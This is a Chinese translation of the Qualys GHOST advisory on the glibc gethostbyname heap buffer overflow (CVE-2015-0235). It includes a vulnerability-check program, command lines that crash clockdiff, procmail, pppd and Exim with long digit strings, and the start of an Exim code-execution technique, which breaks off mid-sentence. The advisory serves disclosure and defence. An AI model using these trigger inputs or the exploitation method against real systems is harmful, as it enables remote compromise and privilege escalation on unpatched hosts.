CVE 2015-0235: GNU glibc gethostbyname 緩衝區溢位漏洞
from:http://www.openwall.com/lists/oss-security/2015/01/27/9,http://ma.ttias.be/critical-glibc-update-cve-2015-0235-gethostbyname-calls/
0x00 內容
1 - 摘要
2 - 分析
3 - 減少影響
4 - 案例分析
5 - 漏洞程式碼
6 - 致謝
0x01 摘要
Qualys公司在進行內部程式碼稽核時,發現了一個在GNU C庫(glibc)中存在的__nss_hostname_digits_dots函式導致的緩衝區溢位漏洞。這個bug可達可以透過gethostbyname *()函式來觸發,本地和遠端均可行。鑑於它的影響,我們決定仔細分析它。分析完成後,我們也決定以“幽靈”(GHOST)命名此漏洞。
我們的分析過程中得出的主要結論是:
- 透過gethostbyname()函式或gethostbyname2()函式,將可能產生一個堆上的緩衝區溢位。經由gethostbyname_r()或gethostbyname2_r(),則會觸發呼叫者提供的緩衝區溢位(理論上說,呼叫者提供的緩衝區可位於堆,棧,.data節和.bss節等。但是,我們實際操作時還沒有看到這樣的情況)。
- 漏洞產生時至多sizeof(char* )個位元組可被覆蓋(注意是char*指標的大小,即32位系統上為4個位元組,64位系統為8個位元組)。但是payload中只有數字( '0 '...' 9') ,點( “.”) ,和一個終止空字元('\0' ) 可用。
- 儘管有這些限制,我們依然可以執行任意的程式碼。
我們開發了一套完整的針對Exim郵件伺服器的攻擊PoC,測試中發現可以繞過所有現有保護 ( ASLR,PIE和NX )。且可以通殺32位和64位的機器。而且,在不久的將來,我們還會釋出一個Metasploit的模組。
- 據悉,GNU C庫的第一個易受攻擊版本是glibc-2.2 ,釋出於2000年11月10日,相當有年頭了。
- 據瞭解,是有一些方法可以減輕影響的。事實上,這個漏洞其實在2013年5月21日就已經被修復了(在glibc-2.17和glibc-2.18的發行版之間) 。不幸的是,當時它並沒有被認為是一個安全威脅。其結果是,大多數穩定版和長期支援版本現在依然暴露在漏洞影響下,比如: Debian 7 (wheezy) ,紅帽企業版Linux 6和7,CentOS 6和7 ,Ubuntu 12.04。
0x02 分析
存在漏洞的函式__nss_hostname_digits_dots()由glibc的非重入版本的檔案:nss/getXXbyYY.c,以及重入版本:nss/getXXbyYY_r.c提供。然而,這個函式的呼叫是由#ifdef HANDLE_DIGITS_DOTS來定義的,這個宏定義只在這幾個檔案有:
- inet/gethstbynm.c
- inet/gethstbynm2.c
- inet/gethstbynm_r.c
- inet/gethstbynm2_r.c
- nscd/gethstbynm3_r.c
以上這些檔案實現gethostbyname*()函式族,因此也只有它們會呼叫__nss_hostname_digits_dots(),並且可能觸發它的緩衝區溢位。該函式的作用是:“如果主機名是IPv4/IPv6地址,就跳過費時的DNS查詢”。
glibc-2.17的程式碼如下:
#!cpp
35 int
36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
37 char **buffer, size_t *buffer_size,
38 size_t buflen, struct hostent **result,
39 enum nss_status *status, int af, int *h_errnop)
40 {
..
57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
58 {
59 const char *cp;
60 char *hostname;
61 typedef unsigned char host_addr_t[16];
62 host_addr_t *host_addr;
63 typedef char *host_addr_list_t[2];
64 host_addr_list_t *h_addr_ptrs;
65 char **h_alias_ptr;
66 size_t size_needed;
..
85 size_needed = (sizeof (*host_addr)
86 + sizeof (*h_addr_ptrs) + strlen (name) + 1);
87
88 if (buffer_size == NULL)
89 {
90 if (buflen < size_needed)
91 {
..
95 goto done;
96 }
97 }
98 else if (buffer_size != NULL && *buffer_size < size_needed)
99 {
100 char *new_buf;
101 *buffer_size = size_needed;
102 new_buf = (char *) realloc (*buffer, *buffer_size);
103
104 if (new_buf == NULL)
105 {
...
114 goto done;
115 }
116 *buffer = new_buf;
117 }
...
121 host_addr = (host_addr_t *) *buffer;
122 h_addr_ptrs = (host_addr_list_t *)
123 ((char *) host_addr + sizeof (*host_addr));
124 h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
125 hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
126
127 if (isdigit (name[0]))
128 {
129 for (cp = name;; ++cp)
130 {
131 if (*cp == '\0')
132 {
133 int ok;
134
135 if (*--cp == '.')
136 break;
...
142 if (af == AF_INET)
143 ok = __inet_aton (name, (struct in_addr *) host_addr);
144 else
145 {
146 assert (af == AF_INET6);
147 ok = inet_pton (af, name, host_addr) > 0;
148 }
149 if (! ok)
150 {
...
154 goto done;
155 }
156
157 resbuf->h_name = strcpy (hostname, name);
...
194 goto done;
195 }
196
197 if (!isdigit (*cp) && *cp != '.')
198 break;
199 }
200 }
...
Ln 85-86計算所需的緩衝區大小size_needed來儲存三個不同的實體: HOST_ADDR,h_addr_ptrs和name(hostname) 。Ln 88-117 確保緩衝區足夠大:Ln 88-97對應於函式重入的情況,Ln 98-117為非重入的情況。
Ln 121-125處理儲存四個不同實體的指標地址,HOST_ADDR,h_addr_ptrs,h_alias_ptr ,和hostname。 計算size_needed時,漏掉了一個sizeof( * h_alias_ptr ) - 也即一個char指標的大小。
因此, strcpy的( )所在的Ln157應該可以讓我們寫過緩衝區的末尾,至多(取決於函式strlen(name)和對齊) 4個位元組 (32位),或8個位元組(64位)。有一個類似的strcpy()在Ln 200,但是這裡沒有緩衝區溢位:
#!cpp
236 size_needed = (sizeof (*host_addr)
237 + sizeof (*h_addr_ptrs) + strlen (name) + 1);
...
267 host_addr = (host_addr_t *) *buffer;
268 h_addr_ptrs = (host_addr_list_t *)
269 ((char *) host_addr + sizeof (*host_addr));
270 hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);
...
289 resbuf->h_name = strcpy (hostname, name);
為了在行157觸發溢位,主機名引數必須符合下列要求:
- 它的第一個字元必須是數字(Ln 127) 。
- 它的最後一個字元不能是點 “.”(Ln 135 ) 。
- 它必須只包含數字和點(Ln 197 ) (我們稱之為“數字和點”的要求) 。
- 它必須足夠長以溢位緩衝區。例如,非重入的gethostbyname *()函式最開始就會透過呼叫malloc (1024)來分配自己的緩衝區 (申請 “1 KB”) 。
- 地址必須成功地解析為IPv4地址。該解析由INET_ATON()(Ln 143)完成 ,或作為inet_pton IPv6地址() (Ln 147)
- 經過仔細分析這兩個函式,我們可以進一步完善這一“ inet - aton”的要求:
inet_pton()中冒號":"是被禁止的,而且我們不可能將帶數字和點的地址解析成IPv6地址 。因此,它是不可能達到的溢位地點的,也即以引數為AF_INET6呼叫gethostbyname2()或gethostbyname2_r()函式族。
結論: inet_aton()是唯一的選擇,並且主機名必須具有下列形式之一: “a.b.c.d”,“a.b.c”, “a.b” ,或“a” ,其中a,b ,c,d ,必須是無符號整數,最多0xfffffffful ,可以由strtoul()成功轉換為十進位制或者八進位制(即沒有整數溢位)(但不能是十六進位制,因為'x'和'X'是被禁止的) 。
0x03 減輕影響的因素
這個bug的影響現在顯著減少了,原因是:
補丁已經存在(因為2013年5月21日),並在2013年8月12日釋出的glibc-2.18中被應用和測試:
[BZ#15014](更新日誌) * nss/getXXbyYY_r.c(INTERNAL(REENTRANT_NAME))[HANDLE_DIGITS_DOTS]:當數字-點解析成功時設定any_service。 * nss/digits_dots.c(__nss_hostname_digits_dots):為IPv6地址解析時,刪除多餘的變數宣告和緩衝的重新分配。可重入函式呼叫時,總是需要設定NSS狀態。當緩衝區太小時使用NETDB_INTERNAL而不是TRY_AGAIN。正確計算了所需大小。 * nss/Makefile (tests):加入 test-digits-dots。 * nss/test-digits-dots.c:新測試檔案。
gethostbyname*()函式是過時的;隨著IPv6的到來,新的應用程式應該使用getaddrinfo()來代替。
許多程式,特別是SUID檔案可本地訪問時,當且僅當之前呼叫inet_aton()失敗時,會使用gethostbyname()。但是,就算到這裡了,後續其他呼叫也必須成功,這樣才能走到溢位的地方(“inet-aton”規定):但是這是不可能的,所以用這樣的方案的程式是安全的。
大多數其他的程式,尤其是可遠端訪問的伺服器,會使用gethostbyname()來執行反查DNS(FCrDNS,也被稱為full-circle reverse DNS)。這些程式通常是安全的,因為傳遞到的gethostbyname()的主機名通常都已經被DNS軟體預先檢查了:
(RFC 1123)“每個label最多有63個8位數字,由點分隔,最多總計有255個八進位制數字”。這使得它不可能滿足“1 KB”要求。
事實上,glibc的的DNS解析器可以產生高達(最多)1025字元的主機名(如bit-string標籤,特殊的或非列印的字元)。但這會引入反斜槓('\'),這樣也會使得它不可能滿足“只有數字和點”的要求。
0x04 案例分析
在本節中,我們將分析真實的呼叫gethostbyname*()函式的例子,但我們首先介紹一個小測試程式,檢查系統是否脆弱:
#!cpp
[user@...ora-19 ~]$ cat > GHOST.c << EOF
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define CANARY "in_the_coal_mine"
struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
if (strcmp(temp.canary, CANARY) != 0) {
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}
EOF
[user@...ora-19 ~]$ gcc GHOST.c -o GHOST
On Fedora 19 (glibc-2.17):
[user@...ora-19 ~]$ ./GHOST
vulnerable
On Fedora 20 (glibc-2.18):
[user@...ora-20 ~]$ ./GHOST
not vulnerable
4.1
glibc的本身包含了幾個呼叫gethostbyname*()的函式。特別是,僅當第一次呼叫inet_aton()失敗時,getaddrinfo()會呼叫gethostbyname2_r():按照“inet-aton”要求,這些內部呼叫是安全的。例如,
eglibc-2.13/sysdeps/posix/getaddrinfo.c:
#!cpp
at->family = AF_UNSPEC;
...
if (__inet_aton (name, (struct in_addr *) at->addr) != 0)
{
if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET)
at->family = AF_INET;
else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED))
{
...
at->family = AF_INET6;
}
else
return -EAI_ADDRFAMILY;
...
}
...
if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0)
{
...
size_t tmpbuflen = 512;
char *tmpbuf = alloca (tmpbuflen);
...
rc = __gethostbyname2_r (name, family, &th, tmpbuf,
tmpbuflen, &h, &herrno);
...
}
4.2 - mount.nfs
類似的,mount.nfs 也沒有漏洞:
#!cpp
if (inet_aton(hostname, &addr->sin_addr))
return 0;
if ((hp = gethostbyname(hostname)) == NULL) {
nfs_error(_("%s: can't get address for %s\n"),
progname, hostname);
return -1;
}
4.3 - mtr
mtr也沒有漏洞,因為它呼叫了getaddrinfo()而不是gethostbyname*()。
#!cpp
#ifdef ENABLE_IPV6
/* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */
...
error = getaddrinfo( Hostname, NULL, &hints, &res );
if ( error ) {
if (error == EAI_SYSTEM)
perror ("Failed to resolve host");
else
fprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error));
exit( EXIT_FAILURE );
}
...
#else
host = gethostbyname(Hostname);
if (host == NULL) {
herror("mtr gethostbyname");
exit(1);
}
...
#endif
4.4 - iputils
4.4.1 - clockdiff
clockdiff則有漏洞風險,因為:
#!cpp
hp = gethostbyname(argv[1]);
if (hp == NULL) {
fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]);
exit(1);
}
#!cpp
[user@...ora-19-32b ~]$ ls -l /usr/sbin/clockdiff
-rwxr-xr-x. 1 root root 15076 Feb 1 2013 /usr/sbin/clockdiff
[user@...ora-19-32b ~]$ getcap /usr/sbin/clockdiff
/usr/sbin/clockdiff = cap_net_raw+ep
[user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`
.Segmentation fault
[user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`
Segmentation fault
[user@...ora-19-32b ~]$ dmesg
...
[202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000]
[202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000]
4.4.2 - ping and arping
ping 、arping 在inet_aton()失敗時呼叫 gethostbyname() 和 gethostbyname2()。此時,還會有另一個函式被呼叫 (例如Fedora,定義了USE_IDN):
4.4.2.1 - ping
#!cpp
if (inet_aton(target, &whereto.sin_addr) == 1) {
...
} else {
char *idn;
#ifdef USE_IDN
int rc;
...
rc = idna_to_ascii_lz(target, &idn, 0);
if (rc != IDNA_SUCCESS) {
fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc));
exit(2);
}
#else
idn = target;
#endif
hp = gethostbyname(idn);
4.4.2.2 - arping
#!cpp
if (inet_aton(target, &dst) != 1) {
struct hostent *hp;
char *idn = target;
#ifdef USE_IDN
int rc;
rc = idna_to_ascii_lz(target, &idn, 0);
if (rc != IDNA_SUCCESS) {
fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc));
exit(2);
}
#endif
hp = gethostbyname2(idn, AF_INET);
4.4.2.3 - 分析
如果idna_to_ascii_lz()修改了目標主機名,第一個呼叫INET_ATON()可能失敗,第二次呼叫(gethostbyname()內部呼叫)能成功。例如,idna_to_ascii_lz()把任何Unicode點狀的字元(0x3002,0xFF0E,0xFF61)轉換為ASCII的句點(“.”)。
但是,這也限制了域標籤63個字元的長度:這使得它只有4個label和3個點(“INET-ATON”的規定),因此不可能達到1024位元組(“1KB”的要求)。
除非INET_ATON()(實際上,是strtoul())可以被欺騙接受超過3個點?事實上,idna_to_ascii_lz()不總限制 域名的長度。 glibc的支援“千”分組字元(man 3 printf);例如,sscanf(str,"%'lu",&ul)處理1000時,會得到下列輸入字串:
- “1,000”,英語語言環境;
- “1 000”,法語語言環境;
- “1.000”,德語或西班牙語語言環境。
strtoul()也一樣實現了這個“數字分組”,但它僅限glibc的內部函式使用。結論:要構造3個“.”以上是不可能的,所以ping, arping是沒問題的。
4.5 - procmail
procmail 的“comsat/biff”特性有漏洞:
#!cpp
#define COMSAThost "localhost" /* where the biff/comsat daemon lives */
...
#define SERV_ADDRsep '@' /* when overriding in COMSAT=serv@...r */
int setcomsat(chp)const char*chp;
{ char*chad; ...
chad=strchr(chp,SERV_ADDRsep); /* @ separator? */
...
if(chad)
*chad++='\0'; /* split the specifier */
if(!chad||!*chad) /* no host */
#ifndef IP_localhost /* Is "localhost" preresolved? */
chad=COMSAThost; /* nope, use default */
#else /* IP_localhost */
{ ...
}
else
#endif /* IP_localhost */
{ ...
if(!(host=gethostbyname(chad))||!host->h_0addr_list)
user@...ian-7-2-32b:~$ ls -l /usr/bin/procmail
-rwsr-sr-x 1 root mail 83912 Jun 6 2012 /usr/bin/procmail
user@...ian-7-2-32b:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null
...
*** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): 0x0980de30 ***
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d]
/usr/bin/procmail[0x80548ec]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46]
/usr/bin/procmail[0x804bb55]
======= Memory map: ========
...
0980a000-0982b000 rw-p 00000000 00:00 0 [heap]
...
Aborted
user@...ian-7-2-32b:~$ _COMSAT_='COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"`
user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/null
Segmentation fault
user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/null
Segmentation fault
user@...ian-7-2-32b:~$ dmesg
...
[211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000]
[211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000]
4.6 - pppd
當之前呼叫inet_addr()失敗時(這個函式只是簡單的包裝了一下inet_aton()),pppd會呼叫gethostbyname()。inet_addr()會把將Internet主機地址從IPv4的數字-點格式轉換為網路傳輸用的熱浸製模式。當輸入無效的時候,返回INADDR_NONE(通常是 -1).使用這個函式會導致一個問題,是因為-1是一個有效的地址(255.255.255.255)。inet_addr()失敗了,但inet_aton()卻成功了,因此會是一個導致溢位的點。
#!cpp
user@...ntu-12-04-32b:~$ ls -l /usr/sbin/pppd
-rwsr-xr-- 1 root dip 273272 Feb 3 2011 /usr/sbin/pppd
user@...ntu-12-04-32b:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
4.6.1 ms-dns option
#!cpp
static int
setdnsaddr(argv)
char **argv;
{
u_int32_t dns;
struct hostent *hp;
dns = inet_addr(*argv);
if (dns == (u_int32_t) -1) {
if ((hp = gethostbyname(*argv)) == NULL) {
option_error("invalid address parameter '%s' for ms-dns option",
*argv);
return 0;
}
dns = *(u_int32_t *)hp->h_addr;
}
user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x09c0f928 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2]
/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5]
/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb]
/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
/usr/sbin/pppd(main+0x1cf)[0x8050b2f]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3]
======= Memory map: ========
...
09c0c000-09c2d000 rw-p 00000000 00:00 0 [heap]
...
Aborted (core dumped)
4.6.2 - ms-wins optio
#!cpp
static int
setwinsaddr(argv)
char **argv;
{
u_int32_t wins;
struct hostent *hp;
wins = inet_addr(*argv);
if (wins == (u_int32_t) -1) {
if ((hp = gethostbyname(*argv)) == NULL) {
option_error("invalid address parameter '%s' for ms-wins option",
*argv);
return 0;
}
wins = *(u_int32_t *)hp->h_addr;
}
user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x08a64928 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2]
/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5]
/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb]
/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
/usr/sbin/pppd(main+0x1cf)[0x8050b2f]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3]
======= Memory map: ========
...
08a61000-08a82000 rw-p 00000000 00:00 0 [heap]
...
Aborted (core dumped)
4.6.3 - socket option
#!cpp
static int
open_socket(dest)
char *dest;
{
char *sep, *endp = NULL;
int sock, port = -1;
u_int32_t host;
struct hostent *hent;
...
sep = strchr(dest, ':');
if (sep != NULL)
port = strtol(sep+1, &endp, 10);
if (port < 0 || endp == sep+1 || sep == dest) {
error("Can't parse host:port for socket destination");
return -1;
}
*sep = 0;
host = inet_addr(dest);
if (host == (u_int32_t) -1) {
hent = gethostbyname(dest);
if (hent == NULL) {
error("%s: unknown host in socket option", dest);
*sep = ':';
return -1;
}
host = *(u_int32_t *)(hent->h_addr_list[0]);
}
user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1'
user@...ntu-12-04-32b:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: 0x09cce270 ***
4.7 - Exim
如果配置了檢查HELO和EHLO的額外檢查,Exim郵件伺服器可遠端觸發該漏洞。(“helo_verify_hosts”或者"helo_try_verify_hosts"或者“verify=helo” ACL專案)。我們開發了一個可以穩定執行的漏洞,可以繞過所有已知的保護(ASLR, PIE, NX),可在32/64位系統觸發。
#!cpp
user@...ian-7-7-64b:~$ grep helo /var/lib/exim4/config.autogenerated | grep verify
helo_verify_hosts = *
user@...ian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))"
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
user@...ian-7-7-64b:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 debian-7-7-64b ESMTP Exim 4.80 ...
HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Connection closed by foreign host.
user@...ian-7-7-64b:~$ dmesg
...
[ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000]
0x05 Exploitation
5.1 - Code execution
在本節中,我們將介紹如何對Exim SMTP郵件伺服器實現遠端執行程式碼,繞過NX保護和glibc的malloc強化。
首先,我們溢位的gethostbyname的基於堆的緩衝區,以及部分覆蓋下一個相鄰空閒塊的大小欄位,使之具有稍微更大的尺寸(我們只覆蓋3位元組的大小;因為,我們不能在32位溢位超過4個位元組,或64位機器上8個位元組):
#!cpp
|< malloc_chunk
|
-----|----------------------|---+--------------------|-----
... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ...
-----|----------------------|---+--------------------|-----
| X|
|------------------------->|
overflow
#!cpp
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
X標記了記憶體損壞發生的位置。
其結果是,該glibc的malloc管理的空閒塊被人工增大,導致記憶體與另一塊Exim 的current_block重疊。而current_block是由Exim的的內部記憶體分配器管理的。
#!cpp
|< malloc_chunk |< storeblock
| |
-----|----------------------|------------------------|---------------+---|-----
... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ...
-----|----------------------|------------------------|---------------+---|-----
| |
|<-------------------------------------->|
artificially enlarged free chunk
#!cpp
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
然後,我們部分地分配已經釋放的空閒塊,然後使用任意資料覆蓋Exim的current_block的起始部分(“storeblock”結構)。特別是,我們需要覆蓋其“next”欄位:
#!cpp
|< malloc_chunk |< storeblock
| |
-----|----------------------|------------------------|--------+----------|-----
... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ...
-----|----------------------|------------------------|--------+----------|-----
| X |
|<------------------------------->|
這有效地把gethostbyname的緩衝區溢位變成隨便往哪兒寫東西的問題,因為我們控制了兩個指標:Exim分配器會返回的下一塊記憶體塊(被劫持“next”指標)和分配的資料(null終止字串,我們傳送Exim的SMTP命令的引數)。
最後,我們用這個隨意寫的漏洞來覆蓋Exim的執行時配置,這個配置是存在堆中的。確切地說,我們覆蓋Exim的訪問控制列表(ACL),並實現任意程式碼執行。這要感謝Exim的 "${run{
相關文章
- CVE-2010-2883-CoolType.dll緩衝區溢位漏洞分析2020-10-17
- 緩衝區溢位實驗2024-10-30
- 緩衝區溢位攻擊2023-01-24
- 緩衝區溢位漏洞的原理及其利用實戰2022-03-01
- 緩衝區溢位漏洞那些事:C -gets函式2022-03-28函式
- 緩衝區溢位小程式分析2020-02-02
- Redis緩衝區溢位及解決方案2023-04-12Redis
- oscp-緩衝區溢位(持續更新)2021-07-04
- pwntools緩衝區溢位與棧沒對齊2024-08-12
- MikroTik RouterOS 中發現了可遠端利用的緩衝區溢位漏洞2018-03-21ROS
- 做個試驗:簡單的緩衝區溢位2020-08-19
- MS15-002 telnet服務緩衝區溢位漏洞分析與POC構造2020-08-19
- 探秘“棧”之旅(II):結語、金絲雀和緩衝區溢位2018-06-09
- 從CVE復現看棧溢位漏洞利用2024-04-12
- 緩衝區溢位攻擊是什麼意思?防禦措施有哪些?2023-02-20
- CVE-2010-3333-office RTF棧溢位漏洞分析2021-04-10
- ASLR 是如何保護 Linux 系統免受緩衝區溢位攻擊的2019-03-05Linux
- [CVE-2015-2080] Jetty web server 遠端共享緩衝區洩漏2020-08-19JettyWebServer
- Java NIO:緩衝區2020-10-05Java
- stdio流緩衝區2024-10-02
- 網路安全(超級詳細)零基礎帶你一步一步走進緩衝區溢位漏洞和shellcode編寫!2019-05-09
- [二進位制漏洞]棧(Stack)溢位漏洞 Linux篇2022-06-19Linux
- Linux 命令 管道 緩衝區2018-11-08Linux
- Java NIO 之緩衝區2021-09-09Java
- Java整數緩衝區2020-12-23Java
- Unity深度緩衝區指令2021-01-05Unity
- 嵌入式學習資源——突破C++的虛擬指標-C++程式的緩衝區溢位攻擊2019-08-13C++指標
- SMT整型溢位漏洞分析筆記2018-06-19筆記
- Linux堆溢位漏洞利用之unlink2020-08-19Linux
- 棧溢位漏洞利用(繞過ASLR)2021-09-18
- PHP的輸出緩衝區2019-02-16PHP
- Node.js Buffer(緩衝區)2019-02-27Node.js
- Java NIO 之 Buffer(緩衝區)2018-05-14Java
- JavaScript WebGL 幀緩衝區物件2022-02-01JavaScriptWeb物件
- 二進位制漏洞挖掘之整數溢位2024-02-01
- PHP 輸出緩衝區應用2018-08-24PHP
- 8、Node.js Buffer(緩衝區)2018-06-03Node.js
- Java-NIO之Buffer(緩衝區)2022-03-31Java